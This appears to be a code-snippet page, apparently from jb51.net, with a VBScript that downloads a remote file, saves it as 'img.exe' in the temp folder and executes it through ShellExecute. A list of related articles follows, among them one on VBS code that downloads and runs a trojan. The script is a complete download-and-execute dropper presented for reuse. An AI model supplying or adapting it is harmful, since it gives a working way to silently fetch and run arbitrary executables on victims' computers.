復(fù)制代碼 代碼如下:
'on error resume next
dl = https://www.jb51.net/index.htm '這是要下載的文件的路徑
str="Microsoft.XMLHTTP"
Set x = CreateObject(str)
Set x = CreateObject(str)
set S = createobject("adodb.stream")
S.type = 1
x.Open "GET", dl, False
x.Send()
fname1="img.exe"
set F = createobject("Scripting.FileSystemObject")
set tmp = F.GetSpecialFolder(2) '緩存
fname1= F.BuildPath(tmp,fname1)
S.open
S.write x.responseBody
S.savetofile fname1,2
msgbox fname1
S.close
set Q = createobject("Shell.Application")
Q.ShellExecute fname1
您可能感興趣的文章:- 支持?jǐn)帱c下載的VBS代碼
- vbs 多線程下載實現(xiàn)代碼
- VBS下載文件的新方法
- VBS 下載方法(CDO.MESSAGE)
- 使用vbs下載文件的代碼加強版
- 一個收集的下載木馬并運行的VBS代碼
- 用ASP VBS xmlhttp adodbstream下載和保存圖片的代碼
- VBS下載者(通過vbscript實現(xiàn)文件下載)